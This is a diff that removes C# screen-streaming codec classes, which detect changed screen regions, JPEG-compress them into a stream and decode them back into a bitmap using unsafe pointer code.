SortedList<int, SortedList<int, Rectangle>> Array = finalUpdates.ToArray().RectanglesTo2D().Rectangle2DToRows();
|
||||
List<Rectangle> FinalTemp = new List<Rectangle>();
|
||||
|
||||
for (int i = 0; i < Array.Values.Count; i++)
|
||||
{
|
||||
FinalTemp.AddRange(Array.Values[i].Values);
|
||||
}
|
||||
|
||||
//fixup the height
|
||||
for (int i = 0; i < FinalTemp.Count; )
|
||||
{
|
||||
if (FinalTemp.Count == 1)
|
||||
{
|
||||
FinalTemp.Add(FinalTemp[i]);
|
||||
break;
|
||||
}
|
||||
|
||||
if (i + 1 < FinalTemp.Count)
|
||||
{
|
||||
Rectangle curRect = FinalTemp[i];
|
||||
Rectangle nextRect = FinalTemp[i + 1];
|
||||
if ((curRect.Y + curRect.Height) == nextRect.Y && curRect.Width == nextRect.Width)
|
||||
{
|
||||
FinalTemp[i] = new Rectangle(curRect.X, curRect.Y, curRect.Width, curRect.Height + curRect.Height);
|
||||
FinalTemp.RemoveAt(i + 1);
|
||||
}
|
||||
else
|
||||
{
|
||||
i++;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
//copy changes to the EncodeBuffer and Process the Output
|
||||
long oldPos = outStream.Position;
|
||||
outStream.Write(new byte[4], 0, 4);
|
||||
int TotalDataLength = 0;
|
||||
|
||||
for (int i = 0; i < FinalTemp.Count; i++)
|
||||
{
|
||||
Rectangle rect = FinalTemp[i];
|
||||
int blockStride = PixelSize * rect.Width;
|
||||
|
||||
//copy changes to EncodeBuffer
|
||||
for (int y = rect.Y; y < rect.Y + rect.Height; y++)
|
||||
{
|
||||
int Offset = FastBitmap.CalcImageOffset(rect.X, y, Format, rect.Width);
|
||||
NativeMethods.memcpy(encBuffer + Offset, pScan0 + Offset, (uint)blockStride); //copy-changes
|
||||
}
|
||||
|
||||
Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, Format);
|
||||
BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat);
|
||||
for (int j = 0, offset = 0; j < rect.Height; j++)
|
||||
{
|
||||
int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X);
|
||||
NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
|
||||
offset += blockStride;
|
||||
}
|
||||
TmpBmp.UnlockBits(TmpData);
|
||||
|
||||
outStream.Write(BitConverter.GetBytes(rect.X), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4);
|
||||
outStream.Write(new byte[4], 0, 4);
|
||||
|
||||
long length = outStream.Position;
|
||||
long OldPos = outStream.Position;
|
||||
base.jpgCompression.Compress(TmpBmp, ref outStream);
|
||||
length = outStream.Position - length;
|
||||
|
||||
outStream.Position = OldPos - 4;
|
||||
outStream.Write(BitConverter.GetBytes((int)length), 0, 4);
|
||||
outStream.Position += length;
|
||||
TmpBmp.Dispose();
|
||||
TotalDataLength += (int)length + (4 * 5);
|
||||
}
|
||||
|
||||
outStream.Position = oldPos;
|
||||
outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4);
|
||||
Blocks.Clear();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public override unsafe Bitmap DecodeData(IntPtr CodecBuffer, uint Length)
|
||||
{
|
||||
if (Length < 4)
|
||||
return decodedBitmap;
|
||||
|
||||
int DataSize = *(int*)(CodecBuffer);
|
||||
if (decodedBitmap == null)
|
||||
{
|
||||
byte[] temp = new byte[DataSize];
|
||||
fixed (byte* tempPtr = temp)
|
||||
{
|
||||
NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + 4), (uint)DataSize);
|
||||
}
|
||||
|
||||
this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||
return decodedBitmap;
|
||||
}
|
||||
|
||||
byte* bufferPtr = (byte*)CodecBuffer.ToInt32();
|
||||
if (DataSize > 0)
|
||||
{
|
||||
Graphics g = Graphics.FromImage(decodedBitmap);
|
||||
for (int i = 4; DataSize > 0; )
|
||||
{
|
||||
Rectangle rect = new Rectangle(*(int*)(bufferPtr + i), *(int*)(bufferPtr + i + 4),
|
||||
*(int*)(bufferPtr + i + 8), *(int*)(bufferPtr + i + 12));
|
||||
int UpdateLen = *(int*)(bufferPtr + i + 16);
|
||||
byte[] temp = new byte[UpdateLen];
|
||||
|
||||
fixed (byte* tempPtr = temp)
|
||||
{
|
||||
NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + i + 20), (uint)UpdateLen);
|
||||
using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * 3, decodedBitmap.PixelFormat, new IntPtr(tempPtr)))
|
||||
{
|
||||
g.DrawImage(TmpBmp, new Point(rect.X, rect.Y));
|
||||
}
|
||||
}
|
||||
DataSize -= UpdateLen + (4 * 5);
|
||||
i += UpdateLen + (4 * 5);
|
||||
}
|
||||
g.Dispose();
|
||||
}
|
||||
return decodedBitmap;
|
||||
}
|
||||
|
||||
public override Bitmap DecodeData(Stream inStream)
|
||||
{
|
||||
byte[] temp = new byte[4];
|
||||
inStream.Read(temp, 0, 4);
|
||||
int DataSize = BitConverter.ToInt32(temp, 0);
|
||||
|
||||
if (decodedBitmap == null)
|
||||
{
|
||||
temp = new byte[DataSize];
|
||||
inStream.Read(temp, 0, temp.Length);
|
||||
this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||
return decodedBitmap;
|
||||
}
|
||||
|
||||
List<Rectangle> updates = new List<Rectangle>();
|
||||
Rectangle rect;
|
||||
Graphics g = Graphics.FromImage(decodedBitmap);
|
||||
Bitmap tmp;
|
||||
byte[] buffer = null;
|
||||
MemoryStream m;
|
||||
|
||||
while (DataSize > 0)
|
||||
{
|
||||
byte[] tempData = new byte[4 * 5];
|
||||
inStream.Read(tempData, 0, tempData.Length);
|
||||
|
||||
rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4),
|
||||
BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12));
|
||||
int UpdateLen = BitConverter.ToInt32(tempData, 16);
|
||||
buffer = new byte[UpdateLen];
|
||||
inStream.Read(buffer, 0, buffer.Length);
|
||||
|
||||
if (onDecodeDebugScan != null)
|
||||
onDecodeDebugScan(rect);
|
||||
|
||||
m = new MemoryStream(buffer);
|
||||
tmp = (Bitmap)Image.FromStream(m);
|
||||
g.DrawImage(tmp, rect.Location);
|
||||
tmp.Dispose();
|
||||
|
||||
m.Close();
|
||||
m.Dispose();
|
||||
DataSize -= UpdateLen + (4 * 5);
|
||||
}
|
||||
g.Dispose();
|
||||
return decodedBitmap;
|
||||
}
|
||||
}
|
||||
}
|
@ -1,473 +0,0 @@
|
||||
using StreamLibrary.src;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
|
||||
namespace StreamLibrary.UnsafeCodecs
|
||||
{
|
||||
public class UnsafeOptimizedCodec : IUnsafeCodec
|
||||
{
|
||||
private class PopulairPoint
|
||||
{
|
||||
public Rectangle Rect;
|
||||
public int Score;
|
||||
public Stopwatch LastUpdate;
|
||||
|
||||
public PopulairPoint(Rectangle rect)
|
||||
{
|
||||
this.Rect = rect;
|
||||
this.Score = 0;
|
||||
this.LastUpdate = Stopwatch.StartNew();
|
||||
}
|
||||
}
|
||||
|
||||
public override ulong CachedSize
|
||||
{
|
||||
get;
|
||||
internal set;
|
||||
}
|
||||
|
||||
public override int BufferCount
|
||||
{
|
||||
get { return 1; }
|
||||
}
|
||||
|
||||
public override CodecOption CodecOptions
|
||||
{
|
||||
get { return CodecOption.RequireSameSize; }
|
||||
}
|
||||
|
||||
public Size CheckBlock { get; private set; }
|
||||
private object ImageProcessLock = new object();
|
||||
private byte[] EncodeBuffer;
|
||||
private Bitmap decodedBitmap;
|
||||
private PixelFormat EncodedFormat;
|
||||
private int EncodedWidth;
|
||||
private int EncodedHeight;
|
||||
private List<PopulairPoint> populairPoints;
|
||||
public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
|
||||
public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
|
||||
private Stopwatch ScreenRefreshSW = Stopwatch.StartNew();
|
||||
|
||||
//options
|
||||
/// <summary> If a part in the image is been changing for the last x milliseconds it will be seen as a video </summary>
|
||||
public uint AliveTimeForBeingVideo = 5000;
|
||||
/// <summary> This will check if the video went away or stopped playing so it will refresh the other parts in the image </summary>
|
||||
public uint ScreenRefreshTimer = 2000;
|
||||
/// <summary> The size for being a video, if bigger or equal to the VideoScreenSize it must be a video </summary>
|
||||
public Size VideoScreenSize = new Size(100, 100);
|
||||
|
||||
/// <summary>
|
||||
/// Initialize a new object of UnsafeOptimizedCodec
|
||||
/// </summary>
|
||||
/// <param name="ImageQuality">The quality to use between 0-100</param>
|
||||
public UnsafeOptimizedCodec(int ImageQuality = 100)
|
||||
: base(ImageQuality)
|
||||
{
|
||||
this.populairPoints = new List<PopulairPoint>();
|
||||
this.CheckBlock = new Size(15, 1);
|
||||
}
|
||||
|
||||
public override unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream)
|
||||
{
|
||||
lock (ImageProcessLock)
|
||||
{
|
||||
byte* pScan0 = (byte*)Scan0.ToInt32();
|
||||
if (!outStream.CanWrite)
|
||||
throw new Exception("Must have access to Write in the Stream");
|
||||
|
||||
int Stride = 0;
|
||||
int RawLength = 0;
|
||||
int PixelSize = 0;
|
||||
|
||||
switch (Format)
|
||||
{
|
||||
case PixelFormat.Format24bppRgb:
|
||||
PixelSize = 3;
|
||||
break;
|
||||
case PixelFormat.Format32bppArgb:
|
||||
case PixelFormat.Format32bppPArgb:
|
||||
PixelSize = 4;
|
||||
break;
|
||||
default:
|
||||
throw new NotSupportedException(Format.ToString());
|
||||
}
|
||||
|
||||
Stride = ImageSize.Width * PixelSize;
|
||||
RawLength = Stride * ImageSize.Height;
|
||||
|
||||
if (EncodeBuffer == null)
|
||||
{
|
||||
this.EncodedFormat = Format;
|
||||
this.EncodedWidth = ImageSize.Width;
|
||||
this.EncodedHeight = ImageSize.Height;
|
||||
this.EncodeBuffer = new byte[RawLength];
|
||||
fixed (byte* ptr = EncodeBuffer)
|
||||
{
|
||||
byte[] temp = null;
|
||||
using (Bitmap TmpBmp = new Bitmap(ImageSize.Width, ImageSize.Height, Stride, Format, Scan0))
|
||||
{
|
||||
temp = base.jpgCompression.Compress(TmpBmp);
|
||||
}
|
||||
|
||||
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
|
||||
outStream.Write(temp, 0, temp.Length);
|
||||
NativeMethods.memcpy(new IntPtr(ptr), Scan0, (uint)RawLength);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
if (ScreenRefreshSW.ElapsedMilliseconds > ScreenRefreshTimer)
|
||||
{
|
||||
for (int i = 0; i < populairPoints.Count; i++)
|
||||
{
|
||||
if (populairPoints[i].Score == 0 || populairPoints[i].LastUpdate.Elapsed.Seconds > 5)
|
||||
{
|
||||
populairPoints.RemoveAt(i);
|
||||
}
|
||||
}
|
||||
ScreenRefreshSW = Stopwatch.StartNew();
|
||||
}
|
||||
|
||||
long oldPos = outStream.Position;
|
||||
outStream.Write(new byte[4], 0, 4);
|
||||
int TotalDataLength = 0;
|
||||
|
||||
List<byte[]> updates = new List<byte[]>();
|
||||
MemoryStream ms = new MemoryStream();
|
||||
byte[] buffer = null;
|
||||
|
||||
if (this.EncodedFormat != Format)
|
||||
throw new Exception("PixelFormat is not equal to previous Bitmap");
|
||||
|
||||
if (this.EncodedWidth != ImageSize.Width || this.EncodedHeight != ImageSize.Height)
|
||||
throw new Exception("Bitmap width/height are not equal to previous bitmap");
|
||||
|
||||
List<Rectangle> Blocks = new List<Rectangle>();
|
||||
int index = 0;
|
||||
|
||||
Size s = new Size(ScanArea.Width, CheckBlock.Height);
|
||||
Size lastSize = new Size(ScanArea.Width % CheckBlock.Width, ScanArea.Height % CheckBlock.Height);
|
||||
|
||||
int lasty = ScanArea.Height - lastSize.Height;
|
||||
int lastx = ScanArea.Width - lastSize.Width;
|
||||
|
||||
Rectangle cBlock = new Rectangle();
|
||||
List<Rectangle> finalUpdates = new List<Rectangle>();
|
||||
|
||||
PopulairPoint[] points = GetPossibleVideos();
|
||||
if (points.Length > 0)
|
||||
{
|
||||
ScanArea = new Rectangle(points[0].Rect.X, points[0].Rect.Y, points[0].Rect.Width + points[0].Rect.X, points[0].Rect.Height + points[0].Rect.Y);
|
||||
}
|
||||
|
||||
s = new Size(ScanArea.Width, s.Height);
|
||||
fixed (byte* encBuffer = EncodeBuffer)
|
||||
{
|
||||
if (points.Length == 0) //only scan if there is no video
|
||||
{
|
||||
for (int y = ScanArea.Y; y != ScanArea.Height; )
|
||||
{
|
||||
if (y == lasty)
|
||||
s = new Size(ScanArea.Width, lastSize.Height);
|
||||
cBlock = new Rectangle(ScanArea.X, y, ScanArea.Width, s.Height);
|
||||
|
||||
int offset = (y * Stride) + (ScanArea.X * PixelSize);
|
||||
if (NativeMethods.memcmp(encBuffer + offset, pScan0 + offset, (uint)Stride) != 0)
|
||||
{
|
||||
if (onCodeDebugScan != null)
|
||||
onCodeDebugScan(cBlock);
|
||||
|
||||
index = Blocks.Count - 1;
|
||||
if (Blocks.Count != 0 && (Blocks[index].Y + Blocks[index].Height) == cBlock.Y)
|
||||
{
|
||||
cBlock = new Rectangle(Blocks[index].X, Blocks[index].Y, Blocks[index].Width, Blocks[index].Height + cBlock.Height);
|
||||
Blocks[index] = cBlock;
|
||||
}
|
||||
else
|
||||
{
|
||||
Blocks.Add(cBlock);
|
||||
}
|
||||
}
|
||||
y += s.Height;
|
||||
}
|
||||
|
||||
for (int i = 0, x = ScanArea.X; i < Blocks.Count; i++)
|
||||
{
|
||||
s = new Size(CheckBlock.Width, Blocks[i].Height);
|
||||
x = ScanArea.X;
|
||||
while (x != ScanArea.Width)
|
||||
{
|
||||
if (x == lastx)
|
||||
s = new Size(lastSize.Width, Blocks[i].Height);
|
||||
|
||||
cBlock = new Rectangle(x, Blocks[i].Y, s.Width, Blocks[i].Height);
|
||||
bool FoundChanges = false;
|
||||
int blockStride = PixelSize * cBlock.Width;
|
||||
|
||||
for (int j = 0; j < cBlock.Height; j++)
|
||||
{
|
||||
int blockOffset = (Stride * (cBlock.Y + j)) + (PixelSize * cBlock.X);
|
||||
if (NativeMethods.memcmp(encBuffer + blockOffset, pScan0 + blockOffset, (uint)blockStride) != 0)
|
||||
FoundChanges = true;
|
||||
NativeMethods.memcpy(encBuffer + blockOffset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
|
||||
}
|
||||
|
||||
if (onCodeDebugScan != null)
|
||||
onCodeDebugScan(cBlock);
|
||||
|
||||
if (FoundChanges)
|
||||
{
|
||||
index = finalUpdates.Count - 1;
|
||||
if (finalUpdates.Count > 0 && (finalUpdates[index].X + finalUpdates[index].Width) == cBlock.X)
|
||||
{
|
||||
Rectangle rect = finalUpdates[index];
|
||||
int newWidth = cBlock.Width + rect.Width;
|
||||
cBlock = new Rectangle(rect.X, rect.Y, newWidth, rect.Height);
|
||||
finalUpdates[index] = cBlock;
|
||||
}
|
||||
else
|
||||
{
|
||||
finalUpdates.Add(cBlock);
|
||||
}
|
||||
}
|
||||
x += s.Width;
|
||||
}
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
finalUpdates.Add(points[0].Rect);
|
||||
}
|
||||
}
|
||||
|
||||
for (int i = 0; i < finalUpdates.Count; i++)
|
||||
{
|
||||
Rectangle rect = finalUpdates[i];
|
||||
int blockStride = PixelSize * rect.Width;
|
||||
|
||||
Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, Format);
|
||||
BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat);
|
||||
for (int j = 0, offset = 0; j < rect.Height; j++)
|
||||
{
|
||||
int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X);
|
||||
NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
|
||||
offset += blockStride;
|
||||
}
|
||||
TmpBmp.UnlockBits(TmpData);
|
||||
|
||||
outStream.Write(BitConverter.GetBytes(rect.X), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4);
|
||||
outStream.Write(new byte[4], 0, 4);
|
||||
|
||||
long length = outStream.Position;
|
||||
long OldPos = outStream.Position;
|
||||
base.jpgCompression.Compress(TmpBmp, ref outStream);
|
||||
length = outStream.Position - length;
|
||||
|
||||
outStream.Position = OldPos - 4;
|
||||
outStream.Write(BitConverter.GetBytes((int)length), 0, 4);
|
||||
outStream.Position += length;
|
||||
|
||||
if (rect.Width > VideoScreenSize.Width && rect.Height > VideoScreenSize.Height)
|
||||
{
|
||||
PopulairPoint point = null;
|
||||
if (GetPopulairPoint(rect, ref point))
|
||||
{
|
||||
point.Score++;
|
||||
point.LastUpdate = Stopwatch.StartNew();
|
||||
//Console.WriteLine("[" + populairPoints.Count + "]Video spotted at x:" + rect.X + ", y:" + rect.Y + ", width:" + rect.Width + ", height:" + rect.Height);
|
||||
}
|
||||
else
|
||||
{
|
||||
populairPoints.Add(new PopulairPoint(rect));
|
||||
}
|
||||
}
|
||||
|
||||
TmpBmp.Dispose();
|
||||
TotalDataLength += (int)length + (4 * 5);
|
||||
}
|
||||
|
||||
/*for (int i = 0; i < finalUpdates.Count; i++)
|
||||
{
|
||||
Rectangle rect = finalUpdates[i];
|
||||
int blockStride = PixelSize * rect.Width;
|
||||
buffer = new byte[blockStride * rect.Height];
|
||||
|
||||
fixed (byte* ptr = buffer)
|
||||
{
|
||||
for (int j = 0, offset = 0; j < rect.Height; j++)
|
||||
{
|
||||
int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X);
|
||||
NativeMethods.memcpy(ptr + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
|
||||
offset += blockStride;
|
||||
}
|
||||
|
||||
using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * PixelSize, Format, new IntPtr(ptr)))
|
||||
{
|
||||
buffer = base.jpgCompression.Compress(TmpBmp);
|
||||
|
||||
if (rect.Width > VideoScreenSize.Width && rect.Height > VideoScreenSize.Height)
|
||||
{
|
||||
PopulairPoint point = null;
|
||||
if (GetPopulairPoint(rect, ref point))
|
||||
{
|
||||
point.Score++;
|
||||
point.LastUpdate = Stopwatch.StartNew();
|
||||
Console.WriteLine("[" + populairPoints.Count + "]Video spotted at x:" + rect.X + ", y:" + rect.Y + ", width:" + rect.Width + ", height:" + rect.Height);
|
||||
}
|
||||
else
|
||||
{
|
||||
populairPoints.Add(new PopulairPoint(rect));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
outStream.Write(BitConverter.GetBytes(rect.X), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(buffer.Length), 0, 4);
|
||||
outStream.Write(buffer, 0, buffer.Length);
|
||||
TotalDataLength += buffer.Length + (4 * 5);
|
||||
}*/
|
||||
|
||||
outStream.Position = oldPos;
|
||||
outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4);
|
||||
Blocks.Clear();
|
||||
ms.Close();
|
||||
ms.Dispose();
|
||||
}
|
||||
}
|
||||
|
||||
public override unsafe Bitmap DecodeData(IntPtr CodecBuffer, uint Length)
|
||||
{
|
||||
if (Length < 4)
|
||||
return decodedBitmap;
|
||||
|
||||
int DataSize = *(int*)(CodecBuffer);
|
||||
if (decodedBitmap == null)
|
||||
{
|
||||
byte[] temp = new byte[DataSize];
|
||||
fixed (byte* tempPtr = temp)
|
||||
{
|
||||
NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + 4), (uint)DataSize);
|
||||
}
|
||||
|
||||
this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||
return decodedBitmap;
|
||||
}
|
||||
|
||||
byte* bufferPtr = (byte*)CodecBuffer.ToInt32();
|
||||
if (DataSize > 0)
|
||||
{
|
||||
Graphics g = Graphics.FromImage(decodedBitmap);
|
||||
for (int i = 4; DataSize > 0; )
|
||||
{
|
||||
Rectangle rect = new Rectangle(*(int*)(bufferPtr + i), *(int*)(bufferPtr + i + 4),
|
||||
*(int*)(bufferPtr + i + 8), *(int*)(bufferPtr + i + 12));
|
||||
int UpdateLen = *(int*)(bufferPtr + i + 16);
|
||||
byte[] temp = new byte[UpdateLen];
|
||||
|
||||
fixed(byte* tempPtr = temp)
|
||||
{
|
||||
NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + i + 20), (uint)UpdateLen);
|
||||
using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * 3, decodedBitmap.PixelFormat, new IntPtr(tempPtr)))
|
||||
{
|
||||
g.DrawImage(TmpBmp, new Point(rect.X, rect.Y));
|
||||
}
|
||||
}
|
||||
DataSize -= UpdateLen + (4 * 5);
|
||||
i += UpdateLen + (4 * 5);
|
||||
}
|
||||
g.Dispose();
|
||||
}
|
||||
return decodedBitmap;
|
||||
}
|
||||
|
||||
public override Bitmap DecodeData(Stream inStream)
|
||||
{
|
||||
byte[] temp = new byte[4];
|
||||
inStream.Read(temp, 0, 4);
|
||||
int DataSize = BitConverter.ToInt32(temp, 0);
|
||||
|
||||
if (decodedBitmap == null)
|
||||
{
|
||||
temp = new byte[DataSize];
|
||||
inStream.Read(temp, 0, temp.Length);
|
||||
this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||
return decodedBitmap;
|
||||
}
|
||||
|
||||
List<Rectangle> updates = new List<Rectangle>();
|
||||
Rectangle rect;
|
||||
Graphics g = Graphics.FromImage(decodedBitmap);
|
||||
Bitmap tmp;
|
||||
byte[] buffer = null;
|
||||
MemoryStream m;
|
||||
|
||||
while (DataSize > 0)
|
||||
{
|
||||
byte[] tempData = new byte[4 * 5];
|
||||
inStream.Read(tempData, 0, tempData.Length);
|
||||
|
||||
rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4),
|
||||
BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12));
|
||||
int UpdateLen = BitConverter.ToInt32(tempData, 16);
|
||||
buffer = new byte[UpdateLen];
|
||||
inStream.Read(buffer, 0, buffer.Length);
|
||||
|
||||
if (onDecodeDebugScan != null)
|
||||
onDecodeDebugScan(rect);
|
||||
|
||||
m = new MemoryStream(buffer);
|
||||
tmp = (Bitmap)Image.FromStream(m);
|
||||
g.DrawImage(tmp, rect.Location);
|
||||
tmp.Dispose();
|
||||
|
||||
m.Close();
|
||||
m.Dispose();
|
||||
DataSize -= UpdateLen + (4 * 5);
|
||||
}
|
||||
g.Dispose();
|
||||
return decodedBitmap;
|
||||
}
|
||||
|
||||
private bool GetPopulairPoint(Rectangle rect, ref PopulairPoint PopuPoint)
|
||||
{
|
||||
for (int i = 0; i < populairPoints.Count; i++)
|
||||
{
|
||||
PopulairPoint point = populairPoints[i];
|
||||
if (point.Rect.Width == rect.Width &&
|
||||
point.Rect.Height == rect.Height &&
|
||||
point.Rect.X == rect.X &&
|
||||
point.Rect.Y == rect.Y)
|
||||
{
|
||||
PopuPoint = populairPoints[i];
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
private PopulairPoint[] GetPossibleVideos()
|
||||
{
|
||||
List<PopulairPoint> points = new List<PopulairPoint>();
|
||||
for (int i = 0; i < populairPoints.Count; i++)
|
||||
{
|
||||
if (populairPoints[i].Score > 30)
|
||||
{
|
||||
points.Add(populairPoints[i]);
|
||||
}
|
||||
}
|
||||
return points.ToArray();
|
||||
}
|
||||
}
|
||||
}
|
@ -1,285 +0,0 @@
|
||||
using StreamLibrary.src;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
|
||||
namespace StreamLibrary.UnsafeCodecs
|
||||
{
|
||||
public class UnsafeQuickStream : IUnsafeCodec
|
||||
{
|
||||
public override ulong CachedSize { get; internal set; }
|
||||
public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
|
||||
public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
|
||||
|
||||
public override int BufferCount
|
||||
{
|
||||
get { return 0; }
|
||||
}
|
||||
|
||||
public override CodecOption CodecOptions
|
||||
{
|
||||
get { return CodecOption.AutoDispose | CodecOption.RequireSameSize; }
|
||||
}
|
||||
private PixelFormat EncodedFormat;
|
||||
private int EncodedWidth;
|
||||
private int EncodedHeight;
|
||||
private ulong[] EncodeBuffer;
|
||||
|
||||
private int BlockWidth = 0;
|
||||
private int BlockHeight = 0;
|
||||
private Bitmap decodedBitmap;
|
||||
|
||||
public List<Rectangle> VerifyPoints = null;
|
||||
|
||||
public Size CheckBlock { get; private set; }
|
||||
public UnsafeQuickStream(int ImageQuality = 100)
|
||||
: base(ImageQuality)
|
||||
{
|
||||
this.CheckBlock = new Size(50, 50);//width must be bigger then 3
|
||||
}
|
||||
|
||||
public override unsafe void CodeImage(IntPtr Scan0, Rectangle OutputRect, Size InputSize, PixelFormat Format, Stream outStream)
|
||||
{
|
||||
byte* pScan0 = (byte*)Scan0.ToInt32();
|
||||
if (!outStream.CanWrite)
|
||||
throw new Exception("Must have access to Write in the Stream");
|
||||
|
||||
int Stride = 0;
|
||||
int RawLength = 0;
|
||||
int PixelSize = 0;
|
||||
|
||||
switch (Format)
|
||||
{
|
||||
case PixelFormat.Format24bppRgb:
|
||||
PixelSize = 3;
|
||||
break;
|
||||
case PixelFormat.Format32bppArgb:
|
||||
case PixelFormat.Format32bppPArgb:
|
||||
PixelSize = 4;
|
||||
break;
|
||||
default:
|
||||
throw new NotSupportedException(Format.ToString());
|
||||
}
|
||||
|
||||
Stride = InputSize.Width * PixelSize;
|
||||
RawLength = Stride * InputSize.Height;
|
||||
|
||||
|
||||
if (EncodedWidth == 0 && EncodedHeight == 0)
|
||||
{
|
||||
this.EncodedFormat = Format;
|
||||
this.EncodedWidth = OutputRect.Width;
|
||||
this.EncodedHeight = OutputRect.Height;
|
||||
|
||||
byte[] temp = null;
|
||||
using (Bitmap TmpBmp = new Bitmap(OutputRect.Width, OutputRect.Height, Stride, Format, Scan0))
|
||||
{
|
||||
temp = base.jpgCompression.Compress(TmpBmp);
|
||||
}
|
||||
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
|
||||
outStream.Write(temp, 0, temp.Length);
|
||||
return;
|
||||
}
|
||||
|
||||
List<Rectangle> Points = ProcessChanges(Scan0, OutputRect, Format, InputSize.Width);
|
||||
|
||||
VerifyPoints = Points;
|
||||
long oldPos = outStream.Position;
|
||||
outStream.Write(new byte[4], 0, 4);
|
||||
int TotalDataLength = 0;
|
||||
for (int i = 0; i < Points.Count; i++)
|
||||
{
|
||||
Rectangle rect = Points[i];
|
||||
int blockStride = PixelSize * rect.Width;
|
||||
|
||||
Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, Format);
|
||||
BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat);
|
||||
for (int j = 0, offset = 0; j < rect.Height; j++)
|
||||
{
|
||||
int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X);
|
||||
NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
|
||||
offset += blockStride;
|
||||
}
|
||||
TmpBmp.UnlockBits(TmpData);
|
||||
|
||||
outStream.Write(BitConverter.GetBytes(rect.X), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4);
|
||||
outStream.Write(new byte[4], 0, 4);
|
||||
|
||||
long length = outStream.Position;
|
||||
long OldPos = outStream.Position;
|
||||
base.jpgCompression.Compress(TmpBmp, ref outStream);
|
||||
length = outStream.Position - length;
|
||||
|
||||
outStream.Position = OldPos - 4;
|
||||
outStream.Write(BitConverter.GetBytes((int)length), 0, 4);
|
||||
outStream.Position += length;
|
||||
|
||||
TmpBmp.Dispose();
|
||||
TotalDataLength += (int)length + (4 * 5);
|
||||
}
|
||||
outStream.Position = oldPos;
|
||||
outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4);
|
||||
}
|
||||
|
||||
